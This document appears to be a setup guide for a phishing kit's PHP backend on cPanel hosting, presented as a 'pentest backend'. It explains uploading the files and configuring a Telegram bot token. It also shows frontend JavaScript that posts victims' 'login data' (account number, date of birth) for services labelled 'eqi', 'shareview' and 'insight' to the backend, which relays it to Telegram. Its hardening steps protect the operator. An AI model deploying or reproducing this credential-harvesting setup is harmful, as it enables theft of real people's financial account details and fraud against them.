# PHP Backend Setup Guide for cPanel
Complete guide for deploying the pentest backend on cPanel/PHP hosting

## Prerequisites

- cPanel hosting account with PHP 7.4 or higher
- MySQL database (optional, for logging)
- Telegram Bot Token and Chat ID
- SSL certificate (recommended)

## Installation Steps

### 1. Upload Files to cPanel

**Via File Manager:**
1. Log in to cPanel
2. Open File Manager
3. Navigate to `public_html` (or your domain's root directory)
4. Create a new folder called `backend` (or any name you prefer)
5. Upload all backend files to this folder

**Via FTP:**
1. Use an FTP client (FileZilla, WinSCP, etc.)
2. Connect to your hosting account
3. Upload the `backend` folder to `public_html/`

### 2. Configure the Backend

1. **Rename config file:**
   - Copy `config.php.example` to `config.php` (or edit the existing `config.php`)

2. **Edit config.php:**
   ```php
   // Set your Telegram credentials
   define('TELEGRAM_BOT_TOKEN', 'YOUR_BOT_TOKEN_HERE');
   define('TELEGRAM_CHAT_ID', 'YOUR_CHAT_ID_HERE');
   
   // Generate a secure encryption key
   define('ENCRYPTION_KEY', 'your-random-32-character-key-here');
   
   // Update allowed origins with your domain
   define('ALLOWED_ORIGINS', [
       'https://yourdomain.com',
       'https://www.yourdomain.com'
   ]);
   ```

3. **Generate Encryption Key:**
   You can generate a secure key using PHP:
   ```php
   echo base64_encode(random_bytes(32));
   ```
   Or use an online tool like: https://www.random.org/strings/

### 3. Set Up File Permissions

Set proper permissions for security:

```bash
# Main directory
chmod 755 backend/

# Configuration file (read-only)
chmod 644 backend/config.php

# API files
chmod 644 backend/api/submit.php

# Includes directory
chmod 755 backend/includes/
chmod 644 backend/includes/*.php

# Logs directory (writable)
mkdir backend/logs
chmod 755 backend/logs/
```

**Via cPanel File Manager:**
1. Right-click on folder/file
2. Select "Change Permissions"
3. Set appropriate permissions

### 4. Create Logs Directory

1. In File Manager, create a `logs` folder inside the `backend` directory
2. Set permissions to 755
3. Create `.htaccess` inside logs:
   ```apache
   Order Allow,Deny
   Deny from all
   ```

### 5. Optional: Set Up MySQL Database

If you want to enable database logging:

1. **Create Database in cPanel:**
   - Go to MySQL Databases
   - Create a new database
   - Create a new user
   - Add user to database with ALL PRIVILEGES

2. **Update config.php:**
   ```php
   define('ENABLE_DB_LOGGING', true);
   define('DB_HOST', 'localhost');
   define('DB_NAME', 'your_database_name');
   define('DB_USER', 'your_database_user');
   define('DB_PASS', 'your_database_password');
   ```

3. The table will be created automatically on first use.

### 6. Update Frontend Files

Update your frontend (HTML/JavaScript) to point to the new API:

**Example for vanilla JavaScript:**
```javascript
// Replace the Next.js API call with this:
async function submitLogin(formData) {
    const response = await fetch('https://yourdomain.com/backend/api/submit', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            service: 'eqi', // or 'shareview', 'insight'
            ...formData
        })
    });
    
    return await response.json();
}
```

### 7. Test the Installation

1. **Create a test file** (`backend/test.php`):
   ```php
   <?php
   require_once 'config.php';
   require_once 'includes/TelegramBot.php';
   
   $telegram = new TelegramBot();
   
   $testData = [
       'service' => 'test',
       'message' => 'Backend test successful!'
   ];
   
   $result = $telegram->sendMessage('🧪 Backend Test: ' . json_encode($testData));
   
   if ($result['ok']) {
       echo "✅ Success! Telegram connection working.";
   } else {
       echo "❌ Error: " . json_encode($result);
   }
   ```

2. Visit: `https://yourdomain.com/backend/test.php`
3. Check your Telegram for the test message
4. Delete test.php after successful test

### 8. Security Hardening

1. **Enable HTTPS:**
   - Install SSL certificate in cPanel (Let's Encrypt is free)
   - Uncomment HTTPS redirect in `.htaccess`

2. **Protect sensitive directories:**
   Create `.htaccess` in `backend/includes/`:
   ```apache
   Order Allow,Deny
   Deny from all
   ```

3. **Move config.php outside public_html:**
   ```php
   // Move config.php to /home/username/private/
   // Update paths in API files:
   require_once '../../private/config.php';
   ```

4. **Set up cron job for cleanup:**
   In cPanel Cron Jobs, add:
   ```bash
   0 0 * * * php /home/username/public_html/backend/cleanup.php
   ```

## API Endpoints

### POST /backend/api/submit

Submit login data to be sent to Telegram.

**Request:**
```json
{
    "service": "eqi",
    "accountNumber": "12345",
    "dobDay": "15",
    "dobMonth": "March",
    "dobYear": "1990"
}
```

**Response:**
```json
{
    "success": true,
    "message": "Login data received successfully",
    "telegram_sent": true
}
```

## Troubleshooting

### Issue: "500 Internal Server Error"

**Solution:**
1. Check PHP error log in cPanel
2. Verify file permissions
3. Check config.php syntax
4. Ensure PHP version is 7.4+

### Issue: "Telegram not receiving messages"

**Solution:**
1. Verify bot token is correct
2. Verify chat ID is correct
3. Check if bot is added to the chat
4. Test with test.php
5. Check cURL is enabled on server

### Issue: "CORS errors in browser"

**Solution:**
1. Update ALLOWED_ORIGINS in config.php
2. Verify .htaccess is being read
3. Check Apache mod_headers is enabled

### Issue: "Rate limit not working"

**Solution:**
1. Check logs directory is writable
2. Verify rate_limits subdirectory exists
3. Check file permissions

## File Structure

```
backend/
├── api/
│   └── submit.php          # Main API endpoint
├── includes/
│   ├── Encryption.php      # Encryption class
│   ├── TelegramBot.php     # Telegram integration
│   ├── RateLimiter.php     # Rate limiting
│   ├── DatabaseLogger.php  # Database logging
│   └── FileLogger.php      # File logging
├── logs/                   # Log files (create this)
│   ├── .htaccess          # Protect logs
│   └── rate_limits/       # Rate limit data
├── config.php             # Configuration
├── .htaccess              # Apache configuration
└── SETUP.md               # This file
```

## Production Checklist

- [ ] SSL certificate installed
- [ ] HTTPS redirect enabled
- [ ] Config.php secured (moved outside public_html or protected)
- [ ] All sensitive directories protected with .htaccess
- [ ] Logs directory created and writable
- [ ] Telegram bot tested
- [ ] Rate limiting tested
- [ ] Error logging configured
- [ ] Production values in config.php
- [ ] Test.php removed
- [ ] File permissions set correctly
- [ ] Cron job for cleanup configured (optional)

## Support

For issues or questions:
1. Check cPanel error logs
2. Check backend/logs/ files
3. Verify all configuration settings
4. Test with test.php

## Security Notes

⚠️ **Important:**
- Never commit config.php to version control
- Use strong encryption keys (32+ characters)
- Keep Telegram bot token secret
- Regularly monitor logs
- Enable rate limiting in production
- Use HTTPS only
- Regularly update PHP version
- Review access logs for suspicious activity

## Updates

To update the backend:
1. Backup current files and database
2. Upload new files
3. Compare config.php with new version
4. Test thoroughly before going live
